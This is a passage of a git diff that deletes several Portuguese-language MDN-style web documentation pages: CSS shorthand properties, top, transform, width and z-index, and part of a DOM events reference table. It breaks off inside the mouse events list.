-
-<p>A background with the following properties ...</p>
-
-<pre class="brush:css">background-color: #000;
-background-image: url(images/bg.gif);
-background-repeat: no-repeat;
-background-position: left top;</pre>
-
-<p>... can be shortened to just one declaration:</p>
-
-<pre class="brush:css">background: #000 url(images/bg.gif) no-repeat left top;</pre>
-
-<p>(The shorthand form is actually the equivalent of the longhand properties above plus <code>background-attachment: scroll</code> and, in CSS3, some additional properties.)</p>
-
-<h2 id="Font_Properties" name="Font_Properties">Propriedades de tipo de letra</h2>
-
-<p>The following declarations ...</p>
-
-<pre class="brush:css">font-style: italic;
-font-weight: bold;
-font-size: .8em;
-line-height: 1.2;
-font-family: Arial, sans-serif;</pre>
-
-<p>... can be shortened to the following:</p>
-
-<pre class="brush:css">font: italic bold .8em/1.2 Arial, sans-serif;</pre>
-
-<p>This shorthand declaration is actually equivalent to the longhand declarations above plus <code>font-variant: normal</code> and <code>font-size-adjust: none</code> (CSS2.0 / CSS3), <code>font-stretch: normal</code> (CSS3).</p>
-
-<h2 id="Border_Properties" name="Border_Properties">Propriedades de margem</h2>
-
-<p>With borders, the width, color, and style can be simplified into one declaration. For example, the following CSS ...</p>
-
-<pre class="brush:css">border-width: 1px;
-border-style: solid;
-border-color: #000;</pre>
-
-<p>... can be simplified as:</p>
-
-<pre class="brush:css">border: 1px solid #000;</pre>
-
-<h2 id="Margin_and_Padding_Properties" name="Margin_and_Padding_Properties">Margin and padding properties</h2>
-
-<p>Shorthand versions of margin and padding values work the same way. The following CSS declarations ...</p>
-
-<pre class="brush:css">margin-top: 10px;
-margin-right: 5px;
-margin-bottom: 10px;
-margin-left: 5px;</pre>
-
-<p>... are the same as the following declaration. Note that the values are in clockwise order, beginning at the top: top, right, bottom, then left (TRBL, the consonants in "trouble").</p>
-
-<pre class="brush:css">margin: 10px 5px 10px 5px;</pre>
-
-<h2 id="See_also" name="See_also">Consulte também</h2>
-
-<ul>
- <li>{{css_key_concepts}}</li>
- <li>Shorthand properties: {{cssxref("animation")}}, {{cssxref("background")}}, {{cssxref("border")}}, {{cssxref("border-bottom")}}, {{cssxref("border-color")}}, {{cssxref("border-left")}}, {{cssxref("border-radius")}}, {{cssxref("border-right")}}, {{cssxref("border-style")}}, {{cssxref("border-top")}}, {{cssxref("border-width")}}, {{cssxref("column-rule")}}, {{cssxref("columns")}}, {{cssxref("flex")}}, {{cssxref("flex-flow")}}, {{cssxref("font")}}, {{cssxref("grid")}}, {{cssxref("grid-area")}}, {{cssxref("grid-column")}}, {{cssxref("grid-row")}}, {{cssxref("grid-template")}}, {{cssxref("list-style")}}, {{cssxref("margin")}}, {{cssxref("offset")}}, {{cssxref("outline")}}, {{cssxref("overflow")}}, {{cssxref("padding")}}, {{cssxref("place-content")}}, {{cssxref("place-items")}}, {{cssxref("place-self")}}, {{cssxref("text-decoration")}}, {{cssxref("transition")}}</li>
-</ul>
diff --git a/files/pt-pt/web/css/top/index.html b/files/pt-pt/web/css/top/index.html
deleted file mode 100644
index 3e2f304073..0000000000
--- a/files/pt-pt/web/css/top/index.html
+++ /dev/null
@@ -1,54 +0,0 @@
----
-title: top
-slug: Web/CSS/top
-translation_of: Web/CSS/top
----
-<p><span class="lang lang-en">« <a href="/pt/Referência_CSS" title="pt/Referência CSS">Referência CSS</a><br>
-</span></p>
-<h3 id="Resumo"><span class="lang lang-en">Resumo</span></h3>
-<p>A propriedade <code>top</code> especifica o posicionamento vertical do elemento de acordo com o topo.</p>
-<p>Para elementos absolutamente posicionados (com a propriedade <code>position</code> ajustada como <code>absolute</code> ou <code>fixed</code>) especifica a distância apartir a margem superior do objeto (até onde vai o <code>background</code>).</p>
-<p>Para relativamente posicionados (com a propriedade <code>position</code> ajustada como <code>relative</code>) especifica a distância de acordo com o posicionamento do objeto se a propriedade position fosse qualquer uma que não <code>absolute</code>, <code>relative</code> ou <code>fixed</code>.</p>
-<ul> <li>Valor inicial: auto</li> <li>Aplica-se a: <a href="/pt/CSS/position" title="pt/CSS/position">Elementos posicionados</a></li> <li>Herdado: não</li> <li>Porcentagens: Referente a altura do próximo antecedente de posição block</li> <li>Valor computado: distância absoluta, porcentagem ou automático</li>
-</ul>
-<h3 id="Sintáxe">Sintáxe</h3>
-<pre class="eval">top: &lt;length&gt; | &lt;percentage&gt; | auto | inherit
-</pre>
-<h3 id="Exemplos">Exemplos</h3>
-<pre>&lt;?xml version="1.0" encoding="utf-8"?&gt;
-&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
-&lt;html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"&gt;
-&lt;head&gt;
-&lt;meta http-equiv="Content-Type" content="application/xhtml+xml" /&gt;
-&lt;title&gt;Mozilla.org altura, topo, esquerda, largura e direita - CSS&lt;/title&gt;
-&lt;style type="text/css"&gt;
-/* As medidas de body podem ser mudadas para px para testar o comportamento da div */
-body{
-  width: 100%;
- height: 100%;
-}
-/* agora a div pode operar com porcentagem (a altura e a largura do body são a referência) */
-div{
- position: absolute;
- left: 15%;
- top: 30%;
- bottom: 30%;
- width: 70%;
- height: 40%;
- text-align: left;
- border: 3px #000 solid;
- background: #CCC;
-}
-&lt;/style&gt;
-&lt;/head&gt;
-&lt;body&gt;
-&lt;center&gt;
- &lt;div&gt;...Qualquer conteúdo...&lt;/div&gt;
-&lt;/center&gt;
-&lt;/body&gt;
-&lt;/html&gt;
-</pre>
-<h3 id="Notas">Notas</h3>
-<p><code>top</code> é mais relevante que bottom porque o alinhamento vertical padrão é no topo. Com mais propriedades de posicionamento, top torna-se dispensável.</p>
-<h3 id="Veja_mais">Veja mais</h3>
-<p><a href="/pt/CSS/position" rel="custom nofollow" title="pt/CSS/position">position</a>, <a href="/pt/CSS/right" rel="custom nofollow" title="pt/CSS/right">right</a>, <a href="/pt/CSS/bottom" rel="custom nofollow" title="pt/CSS/bottom">bottom</a>, <a href="/pt/CSS/left" rel="custom nofollow" title="pt/CSS/left">left</a></p>
diff --git a/files/pt-pt/web/css/transform/index.html b/files/pt-pt/web/css/transform/index.html
deleted file mode 100644
index 25f3a546a3..0000000000
--- a/files/pt-pt/web/css/transform/index.html
+++ /dev/null
@@ -1,238 +0,0 @@
----
-title: transform
-slug: Web/CSS/transform
-tags:
- - CSS
- - Experimental
- - NeedsBrowserCompatibility
- - Propriedade
- - Propriedade de CSS
- - Referencia
- - Transforms
-translation_of: Web/CSS/transform
----
-<div>{{CSSRef}}{{SeeCompatTable}}</div>
-
-<p>The CSS <strong><code>transform</code></strong> property lets you modify the coordinate space of the CSS visual formatting model. Using it, elements can be translated, rotated, scaled, and skewed.</p>
-
-<pre class="brush: css no-line-numbers">/* Keyword values */
-transform: none;
-
-/* Function values */
-transform: matrix(1.0, 2.0, 3.0, 4.0, 5.0, 6.0);
-transform: translate(12px, 50%);
-transform: translateX(2em);
-transform: translateY(3in);
-transform: scale(2, 0.5);
-transform: scaleX(2);
-transform: scaleY(0.5);
-transform: rotate(0.5turn);
-transform: skew(30deg, 20deg);
-transform: skewX(30deg);
-transform: skewY(1.07rad);
-transform: matrix3d(1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1);
-transform: translate3d(12px, 50%, 3em);
-transform: translateZ(2px);
-transform: scale3d(2.5, 1.2, 0.3);
-transform: scaleZ(0.3);
-transform: rotate3d(1, 2.0, 3.0, 10deg);
-transform: rotateX(10deg);
-transform: rotateY(10deg);
-transform: rotateZ(10deg);
-transform: perspective(17px);
-
-/* Multiple function values */
-transform: translateX(10px) rotate(10deg) translateY(5px);
-
-/* Global values */
-transform: inherit;
-transform: initial;
-transform: unset;
-</pre>
-
-<p>If the property has a value different than <code>none</code>, a <a href="/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context">stacking context</a> will be created. In that case the object will act as a containing block for <code>position</code><code>: fixed</code> elements that it contains.</p>
-
-<p>{{cssinfo}}</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<p>The <code>transform</code> property may be specified as either the keyword value <code><a href="#none">none</a></code> or as one or more <code><a href="#&lt;transform-function>">&lt;transform-function&gt;</a></code> values.</p>
-
-<h3 id="Valores">Valores</h3>
-
-<dl>
- <dt><a id="&lt;transform-function>" name="&lt;transform-function>"><code>&lt;transform-function&gt;</code></a></dt>
- <dd>One or more of the <a href="/en-US/docs/Web/CSS/transform-function">CSS transform functions</a> to be applied, see below. Composite transforms are effectively applied in order from right to left.</dd>
- <dt><a id="none" name="none"><code>none</code></a></dt>
- <dd>Specifies that no transform should be applied.</dd>
-</dl>
-
-<h3 id="Formal_syntax">Formal syntax</h3>
-
-{{csssyntax}}
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>See <a href="/en-US/docs/Web/Guide/CSS/Using_CSS_transforms">Using CSS transforms</a>.</p>
-
-<h2 id="Live_example">Live example</h2>
-
-<h3 id="HTML_content">HTML content</h3>
-
-<pre class="brush: html">&lt;p&gt;Transformed element&lt;/p&gt;</pre>
-
-<h3 id="CSS_content">CSS content</h3>
-
-<pre class="brush: css">p {
- border: solid red;
-
- -webkit-transform: translate(100px) rotate(20deg);
- -webkit-transform-origin: 0 -250px;
-
- transform: translate(100px) rotate(20deg);
- transform-origin: 0 -250px;
-}</pre>
-
-<p>{{EmbedLiveSample("Live_example", "400", "170")}}</p>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('CSS Transforms 2', '#transform-functions', 'transform')}}</td>
- <td>{{Spec2('CSS Transforms 2')}}</td>
- <td>Adds 3D transform functions.</td>
- </tr>
- <tr>
- <td>{{SpecName('CSS3 Transforms', '#transform-property', 'transform')}}</td>
- <td>{{Spec2('CSS3 Transforms')}}</td>
- <td>Initial definition</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_do_navegador">Compatibilidade do navegador</h2>
-
-<p>{{CompatibilityTable}}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funionalidade</th>
- <th>Chrome</th>
- <th>Edge</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
- 36</td>
- <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
- {{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoDesktop("1.9.1")}}{{property_prefix("-moz")}}<sup>[1]</sup><br>
- {{CompatGeckoDesktop("16.0")}}<sup>[2]</sup></td>
- <td>9.0{{property_prefix("-ms")}}<sup>[3]</sup><br>
- 10.0</td>
- <td>10.5{{property_prefix("-o")}}<br>
- 12.10<br>
- 15.0{{property_prefix("-webkit")}}<br>
- 23</td>
- <td>3.1{{property_prefix("-webkit")}}<br>
- 9.0</td>
- </tr>
- <tr>
- <td>Suporte 3D</td>
- <td>12.0{{property_prefix("-webkit")}}<br>
- 36</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>10.0{{property_prefix("-moz")}}<br>
- {{CompatGeckoDesktop("16.0")}}</td>
- <td>10.0</td>
- <td>15.0{{property_prefix("-webkit")}}<br>
- 23</td>
- <td>
- <p>4.0{{property_prefix("-webkit")}}<br>
- 9.0</p>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Android</th>
- <th>Chrome for Android</th>
- <th>Edge</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatAndroid(2.1)}}{{property_prefix("-webkit")}}<sup>[4]</sup></td>
- <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
- <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
- {{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}<br>
- 11.0{{property_prefix("-webkit")}}<sup>[5]</sup></td>
- <td>11.5{{property_prefix("-webkit")}}</td>
- <td>3.2 {{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
- 9.0</td>
- </tr>
- <tr>
- <td>Suporte 3D</td>
- <td>{{CompatAndroid(3.0)}}{{property_prefix("-webkit")}}</td>
- <td>{{CompatVersionUnknown}}{{ property_prefix("-webkit")}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>22{{property_prefix("-webkit")}}</td>
- <td>3.2 {{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
- 9.0</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<p>[1] Gecko 14.0 removed the experimental support for <code>skew()</code>, but it was reintroduced in Gecko 15.0 for compatibility reasons. As it is non-standard and will likely be removed in the future, do not use it.</p>
-
-<p>[2] Before Firefox 16, the translation values of <code>matrix()</code> and <code>matrix3d()</code> could be {{cssxref("&lt;length&gt;")}}, in addition to the standard {{cssxref("&lt;number&gt;")}}.</p>
-
-<p>In addition to the unprefixed support, Gecko 44.0 {{geckoRelease("44.0")}} added support for a <code>-webkit</code> prefixed version of the property for web compatibility reasons behind the preference <code>layout.css.prefixes.webkit</code>, defaulting to <code>false</code>. Since Gecko 49.0 {{geckoRelease("49.0")}} the preference defaults to <code>true</code>.</p>
-
-<p>[3] Internet Explorer 5.5 or later supports a proprietary <a href="https://msdn.microsoft.com/en-us/library/ms533014(VS.85,loband).aspx">Matrix Filter</a> which can be used to achieve a similar effect.</p>
-
-<p>Internet Explorer 9.0 or earlier has no support for 3D transforms. Mixing 3D and 2D transform functions, such as <code>-ms-transform:rotate(10deg) translateZ(0);</code>, will prevent the entire property from being applied.</p>
-
-<p>Internet Explorer does not support the global values <code>initial</code> and <code>unset.</code></p>
-
-<p>[4] Android 2.3 has a bug where input forms will "jump" when typing, if any container element has a <code>-webkit-transform</code>.</p>
-
-<p>[5] Internet Explorer 11.0 supports the {{property_prefix("-webkit")}} <a href="https://msdn.microsoft.com/library/jj127312#code-snippet-1">prefixed variant as an alias for the default one</a>.</p>
-
-<h2 id="Consultar_também">Consultar também</h2>
-
-<ul>
- <li><a href="/en-US/docs/CSS/Using_CSS_transforms">Using CSS Transforms</a></li>
- <li><a href="/en-US/docs/Web/CSS/transform-function">&lt;translation-function&gt;</a> data type</li>
- <li><a href="https://www.paulirish.com/2010/introducing-css3please/#comment-36380">More info</a> on CSS3 Rotation / Matrix Filter issues in the comments on Paul Irish's blog.</li>
- <li>A cross-browser 2D <a href="https://louisremi.github.io/jquery.transform.js/">transform plugin for jQuery</a></li>
-</ul>
diff --git a/files/pt-pt/web/css/width/index.html b/files/pt-pt/web/css/width/index.html
deleted file mode 100644
index f865e76bed..0000000000
--- a/files/pt-pt/web/css/width/index.html
+++ /dev/null
@@ -1,86 +0,0 @@
----
-title: width
-slug: Web/CSS/width
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/width
----
-<p>{{ CSSRef() }}</p>
-
-<h3 id="Resumo" name="Resumo">Resumo</h3>
-
-<p>A propriedade <code>width</code> é usada para configurar a largura dada a um elemento.</p>
-
-<ul>
- <li>Valor inicial: auto</li>
- <li>Aplica-se a: o nível do bloco e elementos substituídos</li>
- <li>Herdado: não</li>
- <li>Percentagens: refere-se à largura do bloco que o contém</li>
- <li>Mídia: <a href="pt/CSS/Media/Visual">Visual</a></li>
-</ul>
-
-<h3 id="Sintaxe" name="Sintaxe">Sintaxe</h3>
-
-<pre class="eval"> width: [ &lt;length&gt; || &lt;percentage&gt; ] auto | inherit
-</pre>
-
-<h3 id="Valores" name="Valores">Valores</h3>
-
-<ul>
- <li><strong>length</strong> : pode ser em px, cm, in, em</li>
- <li><strong>percentage</strong> : % especificado como uma porcentagem da largura do elemento pai</li>
- <li><strong>auto</strong> : o navegador calculará e selecionará uma largura para o elemento especificado.</li>
-</ul>
-
-<h3 id="Exemplos" name="Exemplos">Exemplos</h3>
-
-<p><a href="/samples/cssref/width.html">View Live Examples</a></p>
-
-<pre>table{width: 100%;}
-
-img{width: 200px;}
-
-form{width: auto;}
-</pre>
-
-<p><span class="comment">== Notas ==</span></p>
-
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es">Especificações</h3>
-
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/CSS1#width">CSS 1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/CSS21/visudet.html#the-width-property">CSS 2.1</a></li>
-</ul>
-
-<h3 id="Compatibilidade_com_navegadores" name="Compatibilidade_com_navegadores">Compatibilidade com navegadores</h3>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th>Navegador</th>
- <th>Versão mais antiga</th>
- </tr>
- <tr>
- <td>Internet Explorer</td>
- <td>4</td>
- </tr>
- <tr>
- <td>Netscape</td>
- <td>4</td>
- </tr>
- <tr>
- <td>Opera</td>
- <td>3.5</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m">Veja também</h3>
-
-<p><a href="pt/CSS/box_model">box model</a>, {{ Cssxref("height") }}, {{ Cssxref("-moz-box-sizing") }}</p>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
-
-<p>{{ languages( { "en": "en/CSS/width", "fr": "fr/CSS/width" } ) }}</p>
diff --git a/files/pt-pt/web/css/z-index/index.html b/files/pt-pt/web/css/z-index/index.html
deleted file mode 100644
index 0ff1013362..0000000000
--- a/files/pt-pt/web/css/z-index/index.html
+++ /dev/null
@@ -1,41 +0,0 @@
----
-title: z-index
-slug: Web/CSS/z-index
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/z-index
----
-<p>
-{{ CSSRef() }}
-</p>
-<h3 id="Resumo" name="Resumo"> Resumo </h3>
-<p>A propriedade <code>z-index</code> especifica a ordem-z de um elemento e de seus herdeiros. Quando os elementos sobrepõem, a z-ordem determina qual elemento cobre o outro.
-</p>
-<ul><li> Valor inicial: auto;
-</li><li> Aplica-se a: elementos posicionados;
-</li><li> Herdado: não;
-</li><li> Mídia: <a href="pt/CSS/Media/Visual">Visual</a>;
-</li><li> Valor computado: como especificado.
-</li></ul>
-<h3 id="Sintaxe" name="Sintaxe"> Sintaxe </h3>
-<p>z-index: auto | &lt;integer&gt; | <a href="pt/CSS/inherit">inherit</a>
-</p>
-<h3 id="Valores" name="Valores"> Valores </h3>
-<dl><dt> auto </dt><dd> O elemento é desenhado na mesma ordem-z como um elemento com <code>z-index: 0</code>. Isto <i>não</i> cria uma nova pilha de contexto.
-</dd><dt> &lt;integer&gt; </dt><dd> O elemento é desenhado na ordem-z dada. Isto cria também uma nova pilha de contexto, que significa que todos os descendentes também terão o desenho no mesmo z-index. Dessa forma os z-indexes dos descendentes não são comparados aos z-indexes dos elementos do lado de fora deste elemento.
-</dd></dl>
-<p><span class="comment">== Exemplos ==</span>
-</p>
-<h3 id="Notas" name="Notas"> Notas </h3>
-<p>Valores <code>z-index</code> negativos são suportados corretamente iniciando em <a href="pt/Gecko">Gecko</a> 1.9 / <a href="pt/Firefox_3_para_desenvolvedores">Firefox 3</a>. Versões mais antigas implementaram o comportamento do CSS 2, não o comportamento do CSS 2.1 que é compatível com outros navegadores.
-</p>
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es"> Especificações </h3>
-<ul><li> <a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#propdef-z-index">CSS 2.1</a>
-</li></ul>
-<p><span class="comment">== Compatibilidade com navegadores ==</span>
-</p>
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m"> Veja também </h3>
-<p>{{ Cssxref("position") }}
-</p><p><span class="comment">Categorias</span>
-</p><p><span class="comment">Interwiki Language Links</span>
-</p>{{ languages( { "en": "en/CSS/z-index", "fr": "fr/CSS/z-index", "pl": "pl/CSS/z-index" } ) }}
diff --git a/files/pt-pt/web/events/index.html b/files/pt-pt/web/events/index.html
deleted file mode 100644
index 191f5abb6f..0000000000
--- a/files/pt-pt/web/events/index.html
+++ /dev/null
@@ -1,3081 +0,0 @@
----
-title: Referência de Eventos
-slug: Web/Events
-tags:
- - eventos
-translation_of: Web/Events
-original_slug: Web/Eventos
----
-<p>Eventos DOM são enviados para notificar o código de coisas interessantes que ocorreram. Cada evento é representado por um objeto que é baseado na interface {{domxref ('Evento')}}, e poderá ter campos e/ou funções personalizadas adicionais utilizadas para obter informação adicional sobre o que aconteceu. Os eventos podem representar tudo, desde interações básicas do utilizador até notificações automáticas de coisas a acontecer no modelo de renderização. .</p>
-
-<p>Este artigo oferece uma lista de eventos que podem ser enviados; alguns são eventos padrão definidos nas especificações oficiais, enquanto outros são eventos utilizadosinternamente pelos navegadores específicos; por exemplo, os eventos específicos da Mozilla são listados para que os <a href="/pt-PT/docs/Mozilla/Add-ons">extras</a> possam utilizá-los para interagir com o navegador.</p>
-
-<h2 id="Categorias_Mais_Comuns">Categorias Mais Comuns</h2>
-
-<table class="standard-table">
- <caption>Eventos de Recurso</caption>
- <thead>
- <tr>
- <th scope="col">Nome do Evento</th>
- <th scope="col">Executado quando</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{event("cached")}}</td>
- <td>The resources listed in the manifest have been downloaded, and the application is now cached.</td>
- </tr>
- <tr>
- <td>{{event("error")}}</td>
- <td>A resource failed to load.</td>
- </tr>
- <tr>
- <td>{{event("abort")}}</td>
- <td>The loading of a resource has been aborted.</td>
- </tr>
- <tr>
- <td>{{event("load")}}</td>
- <td>A resource and its dependent resources have finished loading.</td>
- </tr>
- <tr>
- <td>{{event("beforeunload")}}</td>
- <td>The window, the document and its resources are about to be unloaded.</td>
- </tr>
- <tr>
- <td>{{event("unload")}}</td>
- <td>The document or a dependent resource is being unloaded.</td>
- </tr>
- </tbody>
-</table>
-
-<table class="standard-table">
- <caption>Eventos de Rede</caption>
- <thead>
- <tr>
- <th scope="col">Nome do Evento</th>
- <th scope="col">Executado quando</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{event("online")}}</td>
- <td>The browser has gained access to the network.</td>
- </tr>
- <tr>
- <td>{{event("offline")}}</td>
- <td>The browser has lost access to the network.</td>
- </tr>
- </tbody>
-</table>
-
-<table class="standard-table">
- <caption>Eventos de Foco</caption>
- <thead>
- <tr>
- <th scope="col">Nome do Evento</th>
- <th scope="col">Executado quando</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{event("focus")}}</td>
- <td>An element has received focus (does not bubble).</td>
- </tr>
- <tr>
- <td>{{event("blur")}}</td>
- <td>An element has lost focus (does not bubble).</td>
- </tr>
- </tbody>
-</table>
-
-<table class="standard-table">
- <caption>Eventos de <em>Websocket</em></caption>
- <thead>
- <tr>
- <th scope="col">Nome do Evento</th>
- <th scope="col">Executado quando</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code><a href="/en-US/docs/Web/Reference/Events/open_websocket">open</a></code></td>
- <td>A WebSocket connection has been established.</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/Reference/Events/message_websocket">message</a></code></td>
- <td>A message is received through a WebSocket.</td>
- </tr>
- <tr>
- <td>{{event("error")}}</td>
- <td>A WebSocket connection has been closed with prejudice (some data couldn't be sent for example).</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/Reference/Events/close_websocket">close</a></code></td>
- <td>A WebSocket connection has been closed.</td>
- </tr>
- </tbody>
-</table>
-
-<table class="standard-table">
- <caption>Eventos do Histórico de Sessão</caption>
- <thead>
- <tr>
- <th scope="col">Nome do Evento</th>
- <th scope="col">Executado quando</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{event("pagehide")}}</td>
- <td>A session history entry is being traversed from.</td>
- </tr>
- <tr>
- <td>{{event("pageshow")}}</td>
- <td>A session history entry is being traversed to.</td>
- </tr>
- <tr>
- <td>{{event("popstate")}}</td>
- <td>A session history entry is being navigated to (in certain cases).</td>
- </tr>
- </tbody>
-</table>
-
-<table class="standard-table">
- <caption>Eventos de Animação de CSS</caption>
- <thead>
- <tr>
- <th scope="col">Nome do Evento</th>
- <th scope="col">Executado quando</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{event("animationstart")}}</td>
- <td>A <a href="https://developer.mozilla.org/en-US/docs/CSS/CSS_animations">CSS animation</a> has started.</td>
- </tr>
- <tr>
- <td>{{event("animationend")}}</td>
- <td>A <a href="https://developer.mozilla.org/en-US/docs/CSS/CSS_animations">CSS animation</a> has completed.</td>
- </tr>
- <tr>
- <td>{{event("animationiteration")}}</td>
- <td>A <a href="https://developer.mozilla.org/en-US/docs/CSS/CSS_animations">CSS animation</a> is repeated.</td>
- </tr>
- </tbody>
-</table>
-
-<table class="standard-table">
- <caption>Eventos de Transição de CSS</caption>
- <thead>
- <tr>
- <th scope="col">Nome do Evento</th>
- <th scope="col">Executado quando</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{event("transitionstart")}}</td>
- <td>A <a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS transition</a> has actually started (fired after any delay).</td>
- </tr>
- <tr>
- <td>{{event("transitioncancel")}}</td>
- <td>A <a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS transition</a> has been cancelled.</td>
- </tr>
- <tr>
- <td>{{event("transitionend")}}</td>
- <td>A <a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS transition</a> has completed.</td>
- </tr>
- <tr>
- <td>{{event("transitionrun")}}</td>
- <td>A <a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS transition</a> has began running (fired before any delay starts).</td>
- </tr>
- </tbody>
-</table>
-
-<table class="standard-table">
- <caption>Eventos de Formulário</caption>
- <thead>
- <tr>
- <th scope="col">Nome do Evento</th>
- <th scope="col">Executado quando</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{event("reset")}}</td>
- <td>The reset button is pressed</td>
- </tr>
- <tr>
- <td>{{event("submit")}}</td>
- <td>The submit button is pressed</td>
- </tr>
- </tbody>
-</table>
-
-<table class="standard-table">
- <caption>Eventos de Impressão</caption>
- <thead>
- <tr>
- <th scope="col">Nome do Evento</th>
- <th scope="col">Executado quando</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{event("beforeprint")}}</td>
- <td>The print dialog is opened</td>
- </tr>
- <tr>
- <td>{{event("afterprint")}}</td>
- <td>The print dialog is closed</td>
- </tr>
- </tbody>
-</table>
-
-<table class="standard-table">
- <caption>Eventos de Composição de Texto</caption>
- <thead>
- <tr>
- <th scope="col">Nome do Evento</th>
- <th scope="col">Executado quando</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{event("compositionstart")}}</td>
- <td>The composition of a passage of text is prepared (similar to keydown for a keyboard input, but works with other inputs such as speech recognition).</td>
- </tr>
- <tr>
- <td>{{event("compositionupdate")}}</td>
- <td>A character is added to a passage of text being composed.</td>
- </tr>
- <tr>
- <td>{{event("compositionend")}}</td>
- <td>The composition of a passage of text has been completed or canceled.</td>
- </tr>
- </tbody>
-</table>
-
-<table class="standard-table">
- <caption>Eventos de Visualização</caption>
- <thead>
- <tr>
- <th scope="col">Nome do Evento</th>
- <th scope="col">Executado quando</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{event("fullscreenchange")}}</td>
- <td>An element was turned to fullscreen mode or back to normal mode.</td>
- </tr>
- <tr>
- <td>{{event("fullscreenerror")}}</td>
- <td>It was impossible to switch to fullscreen mode for technical reasons or because the permission was denied.</td>
- </tr>
- <tr>
- <td>{{event("resize")}}</td>
- <td>The document view has been resized.</td>
- </tr>
- <tr>
- <td>{{event("scroll")}}</td>
- <td>The document view or an element has been scrolled.</td>
- </tr>
- </tbody>
-</table>
-
-<table class="standard-table">
- <caption>Eventos de Área de Transferência</caption>
- <thead>
- <tr>
- <th scope="col">Nome do Evento</th>
- <th scope="col">Executado quando</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{event("cut")}}</td>
- <td>The selection has been cut and copied to the clipboard</td>
- </tr>
- <tr>
- <td>{{event("copy")}}</td>
- <td>The selection has been copied to the clipboard</td>
- </tr>
- <tr>
- <td>{{event("paste")}}</td>
- <td>The item from the clipboard has been pasted</td>
- </tr>
- </tbody>
-</table>
-
-<table class="standard-table">
- <caption>Eventos de Teclado</caption>
- <tbody>
- <tr>
- <th scope="col">Nome do Evento</th>
- <th scope="col">Executado quando</th>
- </tr>
- <tr>
- <td>{{event("keydown")}}</td>
- <td>ANY key is pressed</td>
- </tr>
- <tr>
- <td>{{event("keypress")}}</td>
- <td>ANY key except Shift, Fn, CapsLock is in pressed position. (Fired continously.)</td>
- </tr>
- <tr>
- <td>{{event("keyup")}}</td>
- <td>ANY key is released</td>
- </tr>
- </tbody>
-</table>
-
-<table class="standard-table">
- <caption>Eventos de Rato</caption>
- <thead>
- <tr>
- <th scope="col">Nome do Evento</th>
- <th scope="col">Executado quando</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{event("mouseenter")}}</td>
- <td>A pointing device is moved onto the element that has the listener attached.</td>
- </tr>
- <tr>
- <td>{{event("mouseover")}}</td>
- <td>A pointing device is moved onto the element that has the listener attached or onto one of its children.</td>
- </tr>
